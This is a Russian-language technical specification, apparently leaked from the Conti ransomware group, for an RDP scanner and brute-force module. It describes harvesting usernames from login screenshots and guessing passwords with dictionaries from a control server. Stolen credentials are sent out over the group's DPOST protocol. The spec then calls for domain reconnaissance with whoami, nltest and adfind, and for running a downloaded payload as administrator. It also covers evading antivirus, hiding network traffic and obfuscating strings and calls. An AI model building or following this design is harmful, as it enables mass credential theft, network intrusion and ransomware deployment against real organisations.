Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

286 lines
14 KiB

СКАНЕР RDP ДОСТУПА
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Необходимо написать модуль сканера и брут-форма доступа по протоколу RDP. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.
РЕАЛИЗАЦИЯ
Модуль состоит из сканера, детектора имени, и подмодуля брут-форса.
У сканера есть два режима:
1) режим брут-форса
2) режим проверки
В режиме брут-форса сканер самостоятельно ищет сервера с открытым портом RDP, определяет имена пользователей и подбирает к ним пароли.
Результат работы - список адресов, имен и паролей.
В режиме проверки сканер работает по уже известному списку адресов серверов, имен и паролей. В этом режиме проверяется
актуальность списка, а также окружение и возможности сервера.
В режиме брут-форса:
Сканер делает перебор доменов и портов, используя получаемый извне список доменов для работы.
Результат работы сканера - это список адресов и портов, которые точно определены как сервис RDP.
Детектор имени получает на вход адрес:порт сервиса RDP. Резульат работы детектора - список имен пользователей данного RDP в текстовом виде.
Модуль брута получает на вход адрес:порт, список имен пользователей для данного адреса, и словари. Результат работы модуля брута - список подобранных паролей.
В режиме try-brute:
То же, что brute, но используется словарь имен пользователей.
В режиме NOP (холостой ход) сканер ничего не делает, только ожидает новых настроек.
Назначение режима холостого хода:
- аварийный останов сети, например если обнаружились неверные настройки или неверное поведение сканера
- пауза для того, чтобы можно было выставить настройки, без немедленного их запуска на выполнение.
Сканер взаимодействует с управляющим сервером для получения от него настроек, словарей, доменов для проверки итд.
Получить режим работы можно HTTP-запросом на сервер
GET /<group>/<clientid>/rdp/mode HTTP/1.1
В теле HTTP-ответа модуль ожидает строку brute, check, trybrute или nop.
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
Изменение режима возможно только с NOP и на NOP. Переход, к примеру, brute -> check невозможен.
В этом случае сканер переходит в режим NOP и отправляет на сервер сообщение об ошибке.
В случае работы в режиме NOP, сканер каждые 10 минут делает запрос режима и настроек.
Админка сканеров автоматически переводит режим в NOP при отработке 100% чанков всеми ботами (и только в этом случае - когда нету сомнений в завершении работы).
СКАНЕР
Сканер получает список доменов для проверки HTTP-запросом на сервер
GET /<group>/<clientid>/rdp/domains HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
В режиме брута формат ответа:
адрес1:порт[\r]\n
адрес2:порт[\r]\n
...
(одна или множество записей)
В режиме проверки формат ответа
ip:port@username:password[\r]\n
...
(одна или множество записей)
Полное сканирование портов делать не следует, берем только стандартные порты RDP +-10 портов вверх-вниз.
Адрес:порт выдается на выход сканера только в том случае, если удается соединиться с данным портом и есть признак того, что это RDP-соединение.
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/rdp/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Старые версии сканера не поддерживали правила словарей. Чтобы отличить старую версию сканера от новой,
новая версия сканера во все GET-запросы добавляет HTTP-заголовок
fmode: 1
ОПРЕДЕЛЕНИЕ ИМЕНИ ПОЛЬЗОВАТЕЛЯ RDP
При успешном соединении, модуль делает скриншот списка пользователей RDP.
Далее софт распознает скрин и форматирует в текст.
Сформатированный текст редактирует под формат ip:port@username.
Если несколько пользователей на одном ip, то выводит в список наподобие:
147.126.54.43:3900@username1
147.126.54.43:3900@username2
147.126.54.43:3900@username3
147.126.54.43:3900@username4
и передает на вход брут-форсера.
БРУТ RDP
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
GET /<group>/<clientid>/rdp/dict HTTP/1.1
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста:
- одно слово на строку, разделитель строк может быть \n или \r\n.
Словарь паролей поддерживает шаблоны паролей (т.е. возможность подставить макрос из текущего контекста работы).
Примеры макросов и правил:
%EmptyPass% // empty password.
%GetHost% // get host name from dns server. Slow speed!
%IP% // get ip (example: 192.168.0.1 = 192.168.0.1)
%Port% // get port (example: 192.168.0.1:3389 = 3389)
и так далее - всего имеется несколько десятков правил. Подробное описание правил шаблонов приведено в документации к модулю.
При разработке брута нужно соблюсти следующий компромисс:
- число потоков подбора должно быть максимально для данного компьютера (см. thread_concurrency в STL)
- потоки не должны мешать интерактивным задачам, т.е. должны как минимум иметь пониженный приоритет (см. SetThreadPriority())
- поток не должен долбить в один и тот же адрес постоянно. Вместо того, чтобы перебирать словарь по одной комбинации адрес:порт:юзер,
лучше взять список из 100 адресов и перебирать их по очереди, чтобы был баланс между интервалом между запросами на один и тот же хост,
и КПД софта
- в то же время, размер списка хостов для перебора для каждого потока должен быть не слишком большим, дабы не был заметен сетевой трафик
на не связанные между собою узлы
- в то же время, чем выше случайность, тем лучше - никогда не повторять один и тот же хост может быть выгодней, чем работать по одному и тому
же хосту.
Все размерности интервалов, таймаутов, размеров пачки адресов для перебора итд должны быть вынесены в глобальный файл config.h в виде констант.
Этот баланс нужно выяснить экспериментально; исходим от самой наивной реализации и далее усложняем.
В режиме сканирования на сервер в качестве результата отправляются только адреса, к которым удалось подобрать пароль.
В режиме проверки отправляются все адреса из входного списка, которым присваивается тег и проставляются доп.поля.
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
POST /<group>/<clientid>/rdp/81 HTTP/1.1
Данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "RDP Passwords"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
rdp|<address>:<port>|<username>|<password>|<tag>|<field1=value>|<field2=value>|...\r\n
...
(одна или множество записей)
Здесь поля address:port, username, password определяются в результате сканирования,
а поля tag и field1... - в результате пост-проверки (см.ниже).
Поля field1=value записываются в виде ключ=значение, например
...|subnet=192.168.1.255|netmask=255.255.255.0|итд...
Такой формат позволяет передавать произвольные поля, не слишком меняя парсер и обратную совместимость.
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/rdp/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности (для режима скана - как только найден новый пароль;
для режима проверки - как только обработан следующий адрес из списка)
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
СОБЫТИЯ
Модуль должен отправлять следующие события через callback (см. "module_HOWTO"):
- RDP scanner build %date% %time% started
- %d addresses tried, %d RDP hosts detected, %d passwords found - периодически раз в полчаса (таймаут задается константой в config.h)
- RDP password found: %addr%:%port%:%username%:%password% - при нахождении пароля
КОНФИГИ
Конфиги передаются в модуль через вызов Control(). Название конфига - это строка в аргументе Ctl, тело конфига - аргумент CtlArg,
длина конфига - CtlArgLen (см. "module_HOWTO")
Модуль получает единственный конфиг с именем srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
ПОЛУЧЕНИЕ ИНФОРМАЦИИ О ХОСТЕ
Нужно предусмотреть автоматическое получение информации о хосте, как в режиме брута после подбора пароля,
так и в режиме проверки.
На каждый подобранный пароль, софт устанавливает соединение, определяет локацию, права пользования,
операционную систему.
<УСТАРЕЛО>
//Открывает CMD, вводит команду: 1 - net view, если ответ
//о системной ошибке, данный хост отмечается как no network, если ответ с списком
//компьютеров, то вводится команда 2 - net group "Domain Computers" /DOMAIN,
//если ответ о системной ошибке, данный хост отмечается как not in domain,
//если положительный ответ, то вводится команда 3 - nltest /domain_trusts /all_trusts,
//если есть инфа с доменами, то скачивается https://www.sendspace.com/file/172iky,
//распаковывается, запускается файл с форматом .bat, bp появившегося результат
//в той же папке находит файл subnet, копирует с него информацию, и вставляет
//в комментарий этого хоста, при этом этот хост помечается как in domain.
//Все эти пометки и дополнительную информацию следует передавать в расширенных полях при передаче данных по DPOST.
</УСТАРЕЛО>
Далее идет цитата требований заказчика, без изменений - ниже мои комментарии и пояснения:
1) Загружается список ip:port@username:password автоматом с результата брута
2) Софт устанавливает соединение.
Те, с которыми не смог установить соединение определяет причину (закрыт доступ или просто сервер в off).
Если сервер закрыт для доступа, не подошел пароль или имя пользователя, то убирает в раздел BAD RDP.
Если сервер просто находится в off, то убирает в раздел OFF RDP.
Если коннект установлен, определяет локацию, права пользования, операционную систему, имя компьютера, вносит в раздел ONLINE RDP.
раздел ONLINE RDP делится на две вкладки IN DOMAIN и NOT DOMAIN
в разделе IN DOMAIN есть такие ячейки: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
3) в cmd вводит команду whoami/upn.
если ответ "имя пользователя"/"домен" - то рдп попадает в вкладку ON DOMAIN. "домен" записывает в ячейку domainlist
если ответ error, то рдп размещыется в вкладку NOT DOMAIN
4) берет рдп с раздела ON DOMAIN и туда скачивает файлы adf.bat, adfind.exe и XXX.exe в архиве, далее распаковываем
5) запускает файл adf.bat.
создаются текстовые файлы с именами: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
из текстовых файлов subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp берем последнюю строку с количеством объектов (Objects returned) и количество их записывается по соответствию "имя txt файла=имя ячейки"
из txt файла domainlist все домены записываем в ячейку domainlist
6) запускаем XXX.exe от имени администратора.
если не отрабатывает файл от имени администратора, то запускаем простым методом.
в админке отмечается от каких прав запущен XXX.exe
если файл не возможно запустить по причине блокирования или АВ режет или вообще при распаковке АВ удалил XXX.exe, то все это отражается комментарием в админке
7) Далее берутся рдп с раздела NOT DOMAIN
скачивается архив с файлом XXX.exe, распаковывается
запускаем XXX.exe от имени администратора
если не отрабатывает файл от имени администратора, то запускаем простым методом.
в админке отмечается от каких прав запущен XXX.exe
если файл не возможно запустить по причине блокирования или АВ режет или вообще при распаковке АВ удалил XXX.exe, то все это отражается комментарием в админке
То есть, мы запускаем команды (часть встроено в ОС, часть нужно скачать из сети - команду adfind), анализируем ответы,
и проставляем поля tag (их на данный момент 4: bad rdp, off rdp, online rdp in domain, online rdp not in domain) и доп.поля,
полученные из запускаемых команд.
В режиме брута - для каждого подобранного пароля.
В режиме проверки - для каждого хоста из списка сканирования.
ОФОРМЛЕНИЕ
Следует внимательно читать "module_HOWTO" и внимательно относится к указанным там требованиям по использованию библиотек,
запретам, мерам по обфускации строк, системных вызовов, логированию, формату сборок итд.
ИНТЕРФЕЙС ПОЛЬЗОВАТЕЛЯ
Один и тот же модуль будет использоваться и как .dll, и как интерактивный софт с GUI.
При этом вся логика должна быть спрятана внутри rdp.dll, а интерфейс должен быть внешней (отдельной) программой,
использующей функции rdp.dll.
Напоминаю, что rpp.dll - это модуль, экспортирующий 4 функции Start, Control, FreeBuffer, Release, и все взаимодействие
с внешним миром происходит только через них.
Соответственно, конфиги модуль получает через вызовы Control, настройки, словари, список для сканирования
модуль получает с HTTP-сервера (который нужно организовать в GUI);
GUI получает обратную связь от модуля (сообщения о событиях) - через вызовы callback (см.описание функции Start).
В GUI должно быть предусмотрено:
- задание каждого конфига
- переключение режима (check/brute)
- старт и стоп работы в текущем режиме.
Допустим как неинтерактивный режим (консольная программа с управлением через командную строку - но тогда управление должно быть исчерпывающим),
так и оконная - тут допустим как WinAPI, так и QT. Программу можно запилить на C# для простоты разработки.
Организовать взаимодействие GUI с модулем можно так:
- задаем адрес управляющего сервера - 127.0.0.1:порт GUI
- запускаем управляющий сервер в GUI, который умеет отвечать на запросы конфигов и принимать найденные пароли
- выдаем в модуль адрес своего callback, для получения событий из модуля
- далее весь ввод пользователя и его действия мы преобразуем в конфиги, которые будем отдавать модулю
- конфиги должны формироваться перед выдачей Start(); во время работы должны блокироваться все настройки GUI, кроме кнопки СТОП
- раскладывать проверенные записи по спискам (bad rdp, off rdp итд) нужно на основании поля tag.